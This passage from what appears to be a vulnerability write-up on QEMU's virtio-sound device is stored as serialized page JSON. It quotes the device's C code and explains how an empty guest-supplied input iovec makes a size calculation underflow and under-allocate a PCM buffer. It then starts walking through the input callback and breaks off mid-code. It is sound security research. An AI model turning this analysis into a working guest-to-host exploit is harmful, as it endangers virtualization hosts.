g_malloc0",{"type":24,"tag":83,"props":123708,"children":123709},{"style":107},[123710],{"type":29,"value":558},{"type":24,"tag":83,"props":123712,"children":123713},{"style":90},[123714],{"type":29,"value":55041},{"type":24,"tag":83,"props":123716,"children":123717},{"style":107},[123718],{"type":29,"value":123719},"(VirtIOSoundPCMBuffer) ",{"type":24,"tag":83,"props":123721,"children":123722},{"style":143},[123723],{"type":29,"value":4126},{"type":24,"tag":83,"props":123725,"children":123726},{"style":107},[123727],{"type":29,"value":123728}," size);\n",{"type":24,"tag":83,"props":123730,"children":123731},{"class":85,"line":8792},[123732,123737,123741,123745,123749],{"type":24,"tag":83,"props":123733,"children":123734},{"style":137},[123735],{"type":29,"value":123736},"            buffer",{"type":24,"tag":83,"props":123738,"children":123739},{"style":107},[123740],{"type":29,"value":13502},{"type":24,"tag":83,"props":123742,"children":123743},{"style":137},[123744],{"type":29,"value":51778},{"type":24,"tag":83,"props":123746,"children":123747},{"style":143},[123748],{"type":29,"value":146},{"type":24,"tag":83,"props":123750,"children":123751},{"style":107},[123752],{"type":29,"value":123753}," elem;\n",{"type":24,"tag":83,"props":123755,"children":123756},{"class":85,"line":8810},[123757,123761,123765,123769,123773],{"type":24,"tag":83,"props":123758,"children":123759},{"style":137},[123760],{"type":29,"value":123736},{"type":24,"tag":83,"props":123762,"children":123763},{"style":107},[123764],{"type":29,"value":13502},{"type":24,"tag":83,"props":123766,"children":123767},{"style":137},[123768],{"type":29,"value":123405},{"type":24,"tag":83,"props":123770,"children":123771},{"style":143},[123772],{"type":29,"value":146},{"type":24,"tag":83,"props":123774,"children":123775},{"style":107},[123776],{"type":29,"value":123777}," vq;\n",{"type":24,"tag":83,"props":123779,"children":123780},{"class":85,"line":8855},[123781,123785,123789,123794,123798,123802],{"type":24,"tag":83,"props":123782,"children":123783},{"style":137},[123784],{"type":29,"value":123736},{"type":24,"tag":83,"props":123786,"children":123787},{"style":107},[123788],{"type":29,"value":13502},{"type":24,"tag":83,"props":123790,"children":123791},{"style":137},[123792],{"type":29,"value":123793},"size",{"type":24,"tag":83,"props":123795,"children":123796},{"style":143},[123797],{"type":29,"value":146},{"type":24,"tag":83,"props":123799,"children":123800},{"style":245},[123801],{"type":29,"value":248},{"type":24,"tag":83,"props":123803,"children":123804},{"style":107},[123805],{"type":29,"value":321},{"type":24,"tag":83,"props":123807,"children":123808},{"class":85,"line":8961},[123809,123813,123817,123821,123825,123829],{"type":24,"tag":83,"props":123810,"children":123811},{"style":137},[123812],{"type":29,"value":123736},{"type":24,"tag":83,"props":123814,"children":123815},{"style":107},[123816],{"type":29,"value":13502},{"type":24,"tag":83,"props":123818,"children":123819},{"style":137},[123820],{"type":29,"value":13646},{"type":24,"tag":83,"props":123822,"children":123823},{"style":143},[123824],{"type":29,"value":146},{"type":24,"tag":83,"props":123826,"children":123827},{"style":245},[123828],{"type":29,"value":248},{"type":24,"tag":83,"props":123830,"children":123831},{"style":107},[123832],{"type":29,"value":321},{"type":24,"tag":83,"props":123834,"children":123835},{"class":85,"line":23248},[123836,123841,123845,123849,123853,123857,123862,123867],{"type":24,"tag":83,"props":123837,"children":123838},{"style":101},[123839],{"type":29,"value":123840},"            QSIMPLEQ_INSERT_TAIL",{"type":24,"tag":83,"props":123842,"children":123843},{"style":107},[123844],{"type":29,"value":558},{"type":24,"tag":83,"props":123846,"children":123847},{"style":143},[123848],{"type":29,"value":2853},{"type":24,"tag":83,"props":123850,"children":123851},{"style":137},[123852],{"type":29,"value":35992},{"type":24,"tag":83,"props":123854,"children":123855},{"style":107},[123856],{"type":29,"value":13502},{"type":24,"tag":83,"props":123858,"children":123859},{"style":137},[123860],{"type":29,"value":123861},"queue",{"type":24,"tag":83,"props":123863,"children":123864},{"style":107},[123865],{"type":29,"value":123866},", buffer, entry);",{"type":24,"tag":83,"props":123868,"children":123869},{"style":2735},[123870],{"type":29,"value":52343},{"type":24,"tag":83,"props":123872,"children":123873},{"class":85,"line":23283},[123874],{"type":24,"tag":83,"props":123875,"children":123876},{"style":107},[123877],{"type":29,"value":3092},{"type":24,"tag":83,"props":123879,"children":123880},{"class":85,"line":23291},[123881,123886],{"type":24,"tag":83,"props":123882,"children":123883},{"style":117},[123884],{"type":29,"value":123885},"        continue",{"type":24,"tag":83,"props":123887,"children":123888},{"style":107},[123889],{"type":29,"value":321},{"type":24,"tag":83,"props":123891,"children":123892},{"class":85,"line":23299},[123893],{"type":24,"tag":83,"props":123894,"children":123895},{"emptyLinePlaceholder":16},[123896],{"type":29,"value":3422},{"type":24,"tag":83,"props":123898,"children":123899},{"class":85,"line":23308},[123900],{"type":24,"tag":83,"props":123901,"children":123902},{"style":107},[123903],{"type":29,"value":123572},{"type":24,"tag":83,"props":123905,"children":123906},{"class":85,"line":23350},[123907],{"type":24,"tag":83,"props":123908,"children":123909},{"style":107},[123910],{"type":29,"value":464},{"type":24,"tag":25,"props":123912,"children":123913},{},[123914,123916,123922,123924,123930,123932,123937,123938,123944],{"type":29,"value":123915},"At ",{"type":24,"tag":32,"props":123917,"children":123919},{"className":123918},[],[123920],{"type":29,"value":123921},"[1]",{"type":29,"value":123923},", a ",{"type":24,"tag":32,"props":123925,"children":123927},{"className":123926},[],[123928],{"type":29,"value":123929},"VirtQueueElement *elem",{"type":29,"value":123931}," is popped from the virtqueue. It contains the ",{"type":24,"tag":32,"props":123933,"children":123935},{"className":123934},[],[123936],{"type":29,"value":123646},{"type":29,"value":2287},{"type":24,"tag":32,"props":123939,"children":123941},{"className":123940},[],[123942],{"type":29,"value":123943},"out_sg",{"type":29,"value":123945}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":24,"tag":25,"props":123947,"children":123948},{},[123949,123951,123957,123959,123965,123967,123973,123975,123981,123983,123989],{"type":29,"value":123950},"Further at ",{"type":24,"tag":32,"props":123952,"children":123954},{"className":123953},[],[123955],{"type":29,"value":123956},"[2]",{"type":29,"value":123958},", the device computes the size of the data buffer as ",{"type":24,"tag":32,"props":123960,"children":123962},{"className":123961},[],[123963],{"type":29,"value":123964},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":29,"value":123966},". That value is then used in the allocation: ",{"type":24,"tag":32,"props":123968,"children":123970},{"className":123969},[],[123971],{"type":29,"value":123972},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":29,"value":123974},". Finally, at ",{"type":24,"tag":32,"props":123976,"children":123978},{"className":123977},[],[123979],{"type":29,"value":123980},"[3]",{"type":29,"value":123982},", the newly allocated buffer is appended to the ",{"type":24,"tag":32,"props":123984,"children":123986},{"className":123985},[],[123987],{"type":29,"value":123988},"stream->queue",{"type":29,"value":123990}," linked list.",{"type":24,"tag":25,"props":123992,"children":123993},{},[123994,123996,124001,124003,124008,124010,124015,124017,124023],{"type":29,"value":123995},"Because both the ",{"type":24,"tag":32,"props":123997,"children":123999},{"className":123998},[],[124000],{"type":29,"value":123646},{"type":29,"value":124002}," iovec and the ",{"type":24,"tag":32,"props":124004,"children":124006},{"className":124005},[],[124007],{"type":29,"value":123663},{"type":29,"value":124009}," field are guest-controlled, and there is no check that the total ",{"type":24,"tag":32,"props":124011,"children":124013},{"className":124012},[],[124014],{"type":29,"value":123646},{"type":29,"value":124016}," size is at least ",{"type":24,"tag":32,"props":124018,"children":124020},{"className":124019},[],[124021],{"type":29,"value":124022},"sizeof(virtio_snd_pcm_status)",{"type":29,"value":124024},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":24,"tag":25,"props":124026,"children":124027},{},[124028,124030,124035,124037,124043,124045,124051,124053,124059],{"type":29,"value":124029},"From the guest driver, we can provide an empty ",{"type":24,"tag":32,"props":124031,"children":124033},{"className":124032},[],[124034],{"type":29,"value":123646},{"type":29,"value":124036}," iovec. In that case, the calculation becomes ",{"type":24,"tag":32,"props":124038,"children":124040},{"className":124039},[],[124041],{"type":29,"value":124042},"0 - sizeof(virtio_snd_pcm_status)",{"type":29,"value":124044},", so the allocation size effectively becomes ",{"type":24,"tag":32,"props":124046,"children":124048},{"className":124047},[],[124049],{"type":29,"value":124050},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":29,"value":124052},". Given the definition of ",{"type":24,"tag":32,"props":124054,"children":124056},{"className":124055},[],[124057],{"type":29,"value":124058},"VirtIOSoundPCMBuffer",{"type":29,"value":195},{"type":24,"tag":73,"props":124061,"children":124063},{"code":124062,"language":2891,"meta":7,"className":16250,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[124064],{"type":24,"tag":32,"props":124065,"children":124066},{"__ignoreMap":7},[124067,124079,124092,124107,124124,124136,124148,124156,124168,124188],{"type":24,"tag":83,"props":124068,"children":124069},{"class":85,"line":86},[124070,124074],{"type":24,"tag":83,"props":124071,"children":124072},{"style":90},[124073],{"type":29,"value":9148},{"type":24,"tag":83,"props":124075,"children":124076},{"style":107},[124077],{"type":29,"value":124078}," VirtIOSoundPCMBuffer {\n",{"type":24,"tag":83,"props":124080,"children":124081},{"class":85,"line":113},[124082,124087],{"type":24,"tag":83,"props":124083,"children":124084},{"style":101},[124085],{"type":29,"value":124086},"    QSIMPLEQ_ENTRY",{"type":24,"tag":83,"props":124088,"children":124089},{"style":107},[124090],{"type":29,"value":124091},"(VirtIOSoundPCMBuffer) entry;\n",{"type":24,"tag":83,"props":124093,"children":124094},{"class":85,"line":128},[124095,124099,124103],{"type":24,"tag":83,"props":124096,"children":124097},{"style":107},[124098],{"type":29,"value":123424},{"type":24,"tag":83,"props":124100,"children":124101},{"style":143},[124102],{"type":29,"value":4315},{"type":24,"tag":83,"props":124104,"children":124105},{"style":107},[124106],{"type":29,"value":123433},{"type":24,"tag":83,"props":124108,"children":124109},{"class":85,"line":183},[124110,124115,124119],{"type":24,"tag":83,"props":124111,"children":124112},{"style":107},[124113],{"type":29,"value":124114},"    VirtQueue ",{"type":24,"tag":83,"props":124116,"children":124117},{"style":143},[124118],{"type":29,"value":4315},{"type":24,"tag":83,"props":124120,"children":124121},{"style":107},[124122],{"type":29,"value":124123},"vq;\n",{"type":24,"tag":83,"props":124125,"children":124126},{"class":85,"line":203},[124127,124131],{"type":24,"tag":83,"props":124128,"children":124129},{"style":90},[124130],{"type":29,"value":16300},{"type":24,"tag":83,"props":124132,"children":124133},{"style":107},[124134],{"type":29,"value":124135}," size;\n",{"type":24,"tag":83,"props":124137,"children":124138},{"class":85,"line":212},[124139,124143],{"type":24,"tag":83,"props":124140,"children":124141},{"style":90},[124142],{"type":29,"value":55326},{"type":24,"tag":83,"props":124144,"children":124145},{"style":107},[124146],{"type":29,"value":124147}," offset;\n",{"type":24,"tag":83,"props":124149,"children":124150},{"class":85,"line":256},[124151],{"type":24,"tag":83,"props":124152,"children":124153},{"style":2735},[124154],{"type":29,"value":124155},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":24,"tag":83,"props":124157,"children":124158},{"class":85,"line":270},[124159,124163],{"type":24,"tag":83,"props":124160,"children":124161},{"style":90},[124162],{"type":29,"value":46192},{"type":24,"tag":83,"props":124164,"children":124165},{"style":107},[124166],{"type":29,"value":124167}," populated;\n",{"type":24,"tag":83,"props":124169,"children":124170},{"class":85,"line":302},[124171,124175,124179,124184],{"type":24,"tag":83,"props":124172,"children":124173},{"style":90},[124174],{"type":29,"value":58171},{"type":24,"tag":83,"props":124176,"children":124177},{"style":107},[124178],{"type":29,"value":660},{"type":24,"tag":83,"props":124180,"children":124181},{"style":90},[124182],{"type":29,"value":124183},"[]",{"type":24,"tag":83,"props":124185,"children":124186},{"style":107},[124187],{"type":29,"value":321},{"type":24,"tag":83,"props":124189,"children":124190},{"class":85,"line":324},[124191],{"type":24,"tag":83,"props":124192,"children":124193},{"style":107},[124194],{"type":29,"value":1071},{"type":24,"tag":25,"props":124196,"children":124197},{},[124198,124200,124206,124208,124213,124215,124220,124222,124227,124229,124234,124236,124242],{"type":29,"value":124199},"That under-allocation removes the ",{"type":24,"tag":32,"props":124201,"children":124203},{"className":124202},[],[124204],{"type":29,"value":124205},"populated",{"type":29,"value":124207}," field along with the variable-sized ",{"type":24,"tag":32,"props":124209,"children":124211},{"className":124210},[],[124212],{"type":29,"value":839},{"type":29,"value":124214}," array. As the comment says, ",{"type":24,"tag":32,"props":124216,"children":124218},{"className":124217},[],[124219],{"type":29,"value":124205},{"type":29,"value":124221}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":24,"tag":32,"props":124223,"children":124225},{"className":124224},[],[124226],{"type":29,"value":3756},{"type":29,"value":124228},", the device believes data should be ",{"type":24,"tag":32,"props":124230,"children":124232},{"className":124231},[],[124233],{"type":29,"value":3756},{"type":29,"value":124235}," byte, while the actual allocation is ",{"type":24,"tag":32,"props":124237,"children":124239},{"className":124238},[],[124240],{"type":29,"value":124241},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":29,"value":161},{"type":24,"tag":18631,"props":124244,"children":124246},{"id":124245},"populating-data-buffers",[124247],{"type":29,"value":124248},"Populating Data Buffers",{"type":24,"tag":25,"props":124250,"children":124251},{},[124252],{"type":29,"value":124253},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":24,"tag":73,"props":124255,"children":124257},{"code":124256,"language":2891,"meta":7,"className":16250,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[124258],{"type":24,"tag":32,"props":124259,"children":124260},{"__ignoreMap":7},[124261,124268,124276,124283,124291,124299,124306,124355,124362,124388,124405,124417,124424,124456,124501,124541,124548,124556,124563,124588,124616,124640,124648,124660,124698,124711,124723,124730,124776,124813,124856,124877,124897,124917,124928,124935,124958,124974,124982,124989,124996,125003],{"type":24,"tag":83,"props":124262,"children":124263},{"class":85,"line":86},[124264],{"type":24,"tag":83,"props":124265,"children":124266},{"style":2735},[124267],{"type":29,"value":49082},{"type":24,"tag":83,"props":124269,"children":124270},{"class":85,"line":113},[124271],{"type":24,"tag":83,"props":124272,"children":124273},{"style":2735},[124274],{"type":29,"value":124275}," * AUD_* input callback.\n",{"type":24,"tag":83,"props":124277,"children":124278},{"class":85,"line":128},[124279],{"type":24,"tag":83,"props":124280,"children":124281},{"style":2735},[124282],{"type":29,"value":19228},{"type":24,"tag":83,"props":124284,"children":124285},{"class":85,"line":183},[124286],{"type":24,"tag":83,"props":124287,"children":124288},{"style":2735},[124289],{"type":29,"value":124290}," * @data: VirtIOSoundPCMStream stream\n",{"type":24,"tag":83,"props":124292,"children":124293},{"class":85,"line":203},[124294],{"type":24,"tag":83,"props":124295,"children":124296},{"style":2735},[124297],{"type":29,"value":124298}," * @available: number of bytes that can be read with AUD_read()\n",{"type":24,"tag":83,"props":124300,"children":124301},{"class":85,"line":212},[124302],{"type":24,"tag":83,"props":124303,"children":124304},{"style":2735},[124305],{"type":29,"value":123361},{"type":24,"tag":83,"props":124307,"children":124308},{"class":85,"line":256},[124309,124313,124317,124322,124326,124330,124334,124338,124342,124346,124351],{"type":24,"tag":83,"props":124310,"children":124311},{"style":90},[124312],{"type":29,"value":50759},{"type":24,"tag":83,"props":124314,"children":124315},{"style":90},[124316],{"type":29,"value":50764},{"type":24,"tag":83,"props":124318,"children":124319},{"style":101},[124320],{"type":29,"value":124321}," virtio_snd_pcm_in_cb",{"type":24,"tag":83,"props":124323,"children":124324},{"style":107},[124325],{"type":29,"value":558},{"type":24,"tag":83,"props":124327,"children":124328},{"style":90},[124329],{"type":29,"value":51342},{"type":24,"tag":83,"props":124331,"children":124332},{"style":143},[124333],{"type":29,"value":9563},{"type":24,"tag":83,"props":124335,"children":124336},{"style":137},[124337],{"type":29,"value":839},{"type":24,"tag":83,"props":124339,"children":124340},{"style":107},[124341],{"type":29,"value":568},{"type":24,"tag":83,"props":124343,"children":124344},{"style":90},[124345],{"type":29,"value":18786},{"type":24,"tag":83,"props":124347,"children":124348},{"style":137},[124349],{"type":29,"value":124350}," available",{"type":24,"tag":83,"props":124352,"children":124353},{"style":107},[124354],{"type":29,"value":2905},{"type":24,"tag":83,"props":124356,"children":124357},{"class":85,"line":270},[124358],{"type":24,"tag":83,"props":124359,"children":124360},{"style":107},[124361],{"type":29,"value":10628},{"type":24,"tag":83,"props":124363,"children":124364},{"class":85,"line":302},[124365,124370,124374,124379,124383],{"type":24,"tag":83,"props":124366,"children":124367},{"style":107},[124368],{"type":29,"value":124369},"    VirtIOSoundPCMStream ",{"type":24,"tag":83,"props":124371,"children":124372},{"style":143},[124373],{"type":29,"value":4315},{"type":24,"tag":83,"props":124375,"children":124376},{"style":107},[124377],{"type":29,"value":124378},"stream ",{"type":24,"tag":83,"props":124380,"children":124381},{"style":143},[124382],{"type":29,"value":1275},{"type":24,"tag":83,"props":124384,"children":124385},{"style":107},[124386],{"type":29,"value":124387}," data;\n",{"type":24,"tag":83,"props":124389,"children":124390},{"class":85,"line":324},[124391,124396,124400],{"type":24,"tag":83,"props":124392,"children":124393},{"style":107},[124394],{"type":29,"value":124395},"    VirtIOSoundPCMBuffer ",{"type":24,"tag":83,"props":124397,"children":124398},{"style":143},[124399],{"type":29,"value":4315},{"type":24,"tag":83,"props":124401,"children":124402},{"style":107},[124403],{"type":29,"value":124404},"buffer;\n",{"type":24,"tag":83,"props":124406,"children":124407},{"class":85,"line":345},[124408,124412],{"type":24,"tag":83,"props":124409,"children":124410},{"style":90},[124411],{"type":29,"value":16300},{"type":24,"tag":83,"props":124413,"children":124414},{"style":107},[124415],{"type":29,"value":124416}," size, max_size;\n",{"type":24,"tag":83,"props":124418,"children":124419},{"class":85,"line":358},[124420],{"type":24,"tag":83,"props":124421,"children":124422},{"emptyLinePlaceholder":16},[124423],{"type":29,"value":3422},{"type":24,"tag":83,"props":124425,"children":124426},{"class":85,"line":367},[124427,124432,124436,124440,124444,124448,124452],{"type":24,"tag":83,"props":124428,"children":124429},{"style":101},[124430],{"type":29,"value":124431},"    WITH_QEMU_LOCK_GUARD",{"type":24,"tag":83,"props":124433,"children":124434},{"style":107},[124435],{"type":29,"value":558},{"type":24,"tag":83,"props":124437,"children":124438},{"style":143},[124439],{"type":29,"value":2853},{"type":24,"tag":83,"props":124441,"children":124442},{"style":137},[124443],{"type":29,"value":35992},{"type":24,"tag":83,"props":124445,"children":124446},{"style":107},[124447],{"type":29,"value":13502},{"type":24,"tag":83,"props":124449,"children":124450},{"style":137},[124451],{"type":29,"value":123608},{"type":24,"tag":83,"props":124453,"children":124454},{"style":107},[124455],{"type":29,"value":253},{"type":24,"tag":83,"props":124457,"children":124458},{"class":85,"line":406},[124459,124464,124468,124472,124477,124481,124485,124489,124493,124497],{"type":24,"tag":83,"props":124460,"children":124461},{"style":117},[124462],{"type":29,"value":124463},"        while",{"type":24,"tag":83,"props":124465,"children":124466},{"style":107},[124467],{"type":29,"value":223},{"type":24,"tag":83,"props":124469,"children":124470},{"style":143},[124471],{"type":29,"value":20362},{"type":24,"tag":83,"props":124473,"children":124474},{"style":101},[124475],{"type":29,"value":124476},"QSIMPLEQ_EMPTY",{"type":24,"tag":83,"props":124478,"children":124479},{"style":107},[124480],{"type":29,"value":558},{"type":24,"tag":83,"props":124482,"children":124483},{"style":143},[124484],{"type":29,"value":2853},{"type":24,"tag":83,"props":124486,"children":124487},{"style":137},[124488],{"type":29,"value":35992},{"type":24,"tag":83,"props":124490,"children":124491},{"style":107},[124492],{"type":29,"value":13502},{"type":24,"tag":83,"props":124494,"children":124495},{"style":137},[124496],{"type":29,"value":123861},{"type":24,"tag":83,"props":124498,"children":124499},{"style":107},[124500],{"type":29,"value":704},{"type":24,"tag":83,"props":124502,"children":124503},{"class":85,"line":427},[124504,124508,124512,124517,124521,124525,124529,124533,124537],{"type":24,"tag":83,"props":124505,"children":124506},{"style":107},[124507],{"type":29,"value":123697},{"type":24,"tag":83,"props":124509,"children":124510},{"style":143},[124511],{"type":29,"value":1275},{"type":24,"tag":83,"props":124513,"children":124514},{"style":101},[124515],{"type":29,"value":124516}," QSIMPLEQ_FIRST",{"type":24,"tag":83,"props":124518,"children":124519},{"style":107},[124520],{"type":29,"value":558},{"type":24,"tag":83,"props":124522,"children":124523},{"style":143},[124524],{"type":29,"value":2853},{"type":24,"tag":83,"props":124526,"children":124527},{"style":137},[124528],{"type":29,"value":35992},{"type":24,"tag":83,"props":124530,"children":124531},{"style":107},[124532],{"type":29,"value":13502},{"type":24,"tag":83,"props":124534,"children":124535},{"style":137},[124536],{"type":29,"value":123861},{"type":24,"tag":83,"props":124538,"children":124539},{"style":107},[124540],{"type":29,"value":581},{"type":24,"tag":83,"props":124542,"children":124543},{"class":85,"line":440},[124544],{"type":24,"tag":83,"props":124545,"children":124546},{"emptyLinePlaceholder":16},[124547],{"type":29,"value":3422},{"type":24,"tag":83,"props":124549,"children":124550},{"class":85,"line":449},[124551],{"type":24,"tag":83,"props":124552,"children":124553},{"style":107},[124554],{"type":29,"value":124555},"            [...]\n",{"type":24,"tag":83,"props":124557,"children":124558},{"class":85,"line":458},[124559],{"type":24,"tag":83,"props":124560,"children":124561},{"emptyLinePlaceholder":16},[124562],{"type":29,"value":3422},{"type":24,"tag":83,"props":124564,"children":124565},{"class":85,"line":1065},[124566,124571,124575,124579,124583],{"type":24,"tag":83,"props":124567,"children":124568},{"style":107},[124569],{"type":29,"value":124570},"            max_size ",{"type":24,"tag":83,"props":124572,"children":124573},{"style":143},[124574],{"type":29,"value":1275},{"type":24,"tag":83,"props":124576,"children":124577},{"style":101},[124578],{"type":29,"value":123629},{"type":24,"tag":83,"props":124580,"children":124581},{"style":107},[124582],{"type":29,"value":558},{"type":24,"tag":83,"props":124584,"children":124585},{"style":2735},[124586],{"type":29,"value":124587},"                    // [1]\n",{"type":24,"tag":83,"props":124589,"children":124590},{"class":85,"line":1668},[124591,124596,124600,124604,124608,124612],{"type":24,"tag":83,"props":124592,"children":124593},{"style":137},[124594],{"type":29,"value":124595},"                buffer",{"type":24,"tag":83,"props":124597,"children":124598},{"style":107},[124599],{"type":29,"value":13502},{"type":24,"tag":83,"props":124601,"children":124602},{"style":137},[124603],{"type":29,"value":51778},{"type":24,"tag":83,"props":124605,"children":124606},{"style":107},[124607],{"type":29,"value":13502},{"type":24,"tag":83,"props":124609,"children":124610},{"style":137},[124611],{"type":29,"value":123646},{"type":24,"tag":83,"props":124613,"children":124614},{"style":107},[124615],{"type":29,"value":989},{"type":24,"tag":83,"props":124617,"children":124618},{"class":85,"line":1713},[124619,124623,124627,124631,124635],{"type":24,"tag":83,"props":124620,"children":124621},{"style":137},[124622],{"type":29,"value":124595},{"type":24,"tag":83,"props":124624,"children":124625},{"style":107},[124626],{"type":29,"value":13502},{"type":24,"tag":83,"props":124628,"children":124629},{"style":137},[124630],{"type":29,"value":51778},{"type":24,"tag":83,"props":124632,"children":124633},{"style":107},[124634],{"type":29,"value":13502},{"type":24,"tag":83,"props":124636,"children":124637},{"style":137},[124638],{"type":29,"value":124639},"in_num\n",{"type":24,"tag":83,"props":124641,"children":124642},{"class":85,"line":1730},[124643],{"type":24,"tag":83,"props":124644,"children":124645},{"style":107},[124646],{"type":29,"value":124647},"            );\n",{"type":24,"tag":83,"props":124649,"children":124650},{"class":85,"line":1770},[124651,124656],{"type":24,"tag":83,"props":124652,"children":124653},{"style":117},[124654],{"type":29,"value":124655},"            for",{"type":24,"tag":83,"props":124657,"children":124658},{"style":107},[124659],{"type":29,"value":123459},{"type":24,"tag":83,"props":124661,"children":124662},{"class":85,"line":1778},[124663,124667,124671,124676,124680,124684,124688,124693],{"type":24,"tag":83,"props":124664,"children":124665},{"style":117},[124666],{"type":29,"value":103053},{"type":24,"tag":83,"props":124668,"children":124669},{"style":107},[124670],{"type":29,"value":223},{"type":24,"tag":83,"props":124672,"children":124673},{"style":137},[124674],{"type":29,"value":124675},"buffer",{"type":24,"tag":83,"props":124677,"children":124678},{"style":107},[124679],{"type":29,"value":13502},{"type":24,"tag":83,"props":124681,"children":124682},{"style":137},[124683],{"type":29,"value":123793},{"type":24,"tag":83,"props":124685,"children":124686},{"style":143},[124687],{"type":29,"value":8047},{"type":24,"tag":83,"props":124689,"children":124690},{"style":107},[124691],{"type":29,"value":124692}," max_size) {",{"type":24,"tag":83,"props":124694,"children":124695},{"style":2735},[124696],{"type":29,"value":124697},"     // [2]\n",{"type":24,"tag":83,"props":124699,"children":124700},{"class":85,"line":1803},[124701,124706],{"type":24,"tag":83,"props":124702,"children":124703},{"style":101},[124704],{"type":29,"value":124705},"                    return_rx_buffer",{"type":24,"tag":83,"props":124707,"children":124708},{"style":107},[124709],{"type":29,"value":124710},"(stream, buffer);\n",{"type":24,"tag":83,"props":124712,"children":124713},{"class":85,"line":1811},[124714,124719],{"type":24,"tag":83,"props":124715,"children":124716},{"style":117},[124717],{"type":29,"value":124718},"                    break",{"type":24,"tag":83,"props":124720,"children":124721},{"style":107},[124722],{"type":29,"value":321},{"type":24,"tag":83,"props":124724,"children":124725},{"class":85,"line":8792},[124726],{"type":24,"tag":83,"props":124727,"children":124728},{"style":107},[124729],{"type":29,"value":70786},{"type":24,"tag":83,"props":124731,"children":124732},{"class":85,"line":8810},[124733,124738,124742,124747,124751,124755,124759,124764,124768,124772],{"type":24,"tag":83,"props":124734,"children":124735},{"style":107},[124736],{"type":29,"value":124737},"                size ",{"type":24,"tag":83,"props":124739,"children":124740},{"style":143},[124741],{"type":29,"value":1275},{"type":24,"tag":83,"props":124743,"children":124744},{"style":101},[124745],{"type":29,"value":124746}," AUD_read",{"type":24,"tag":83,"props":124748,"children":124749},{"style":107},[124750],{"type":29,"value":558},{"type":24,"tag":83,"props":124752,"children":124753},{"style":137},[124754],{"type":29,"value":35992},{"type":24,"tag":83,"props":124756,"children":124757},{"style":107},[124758],{"type":29,"value":13502},{"type":24,"tag":83,"props":124760,"children":124761},{"style":137},[124762],{"type":29,"value":124763},"voice",{"type":24,"tag":83,"props":124765,"children":124766},{"style":107},[124767],{"type":29,"value":161},{"type":24,"tag":83,"props":124769,"children":124770},{"style":137},[124771],{"type":29,"value":95211},{"type":24,"tag":83,"props":124773,"children":124774},{"style":107},[124775],{"type":29,"value":989},{"type":24,"tag":83,"props":124777,"children":124778},{"class":85,"line":8855},[124779,124784,124788,124792,124796,124801,124805,124809],{"type":24,"tag":83,"props":124780,"children":124781},{"style":137},[124782],{"type":29,"value":124783},"                        buffer",{"type":24,"tag":83,"props":124785,"children":124786},{"style":107},[124787],{"type":29,"value":13502},{"type":24,"tag":83,"props":124789,"children":124790},{"style":137},[124791],{"type":29,"value":839},{"type":24,"tag":83,"props":124793,"children":124794},{"style":143},[124795],{"type":29,"value":8649},{"type":24,"tag":83,"props":124797,"children":124798},{"style":137},[124799],{"type":29,"value":124800}," buffer",{"type":24,"tag":83,"props":124802,"children":124803},{"style":107},[124804],{"type":29,"value":13502},{"type":24,"tag":83,"props":124806,"children":124807},{"style":137},[124808],{"type":29,"value":123793},{"type":24,"tag":83,"props":124810,"children":124811},{"style":107},[124812],{"type":29,"value":989},{"type":24,"tag":83,"props":124814,"children":124815},{"class":85,"line":8961},[124816,124821,124826,124830,124834,124838,124842,124847,124851],{"type":24,"tag":83,"props":124817,"children":124818},{"style":101},[124819],{"type":29,"value":124820},"                        MIN",{"type":24,"tag":83,"props":124822,"children":124823},{"style":107},[124824],{"type":29,"value":124825},"(available, (",{"type":24,"tag":83,"props":124827,"children":124828},{"style":137},[124829],{"type":29,"value":35992},{"type":24,"tag":83,"props":124831,"children":124832},{"style":107},[124833],{"type":29,"value":13502},{"type":24,"tag":83,"props":124835,"children":124836},{"style":137},[124837],{"type":29,"value":1140},{"type":24,"tag":83,"props":124839,"children":124840},{"style":107},[124841],{"type":29,"value":161},{"type":24,"tag":83,"props":124843,"children":124844},{"style":137},[124845],{"type":29,"value":124846},"period_bytes",{"type":24,"tag":83,"props":124848,"children":124849},{"style":143},[124850],{"type":29,"value":50970},{"type":24,"tag":83,"props":124852,"children":124853},{"style":2735},[124854],{"type":29,"value":124855},"     // [3]\n",{"type":24,"tag":83,"props":124857,"children":124858},{"class":85,"line":23248},[124859,124864,124868,124872],{"type":24,"tag":83,"props":124860,"children":124861},{"style":137},[124862],{"type":29,"value":124863},"                                        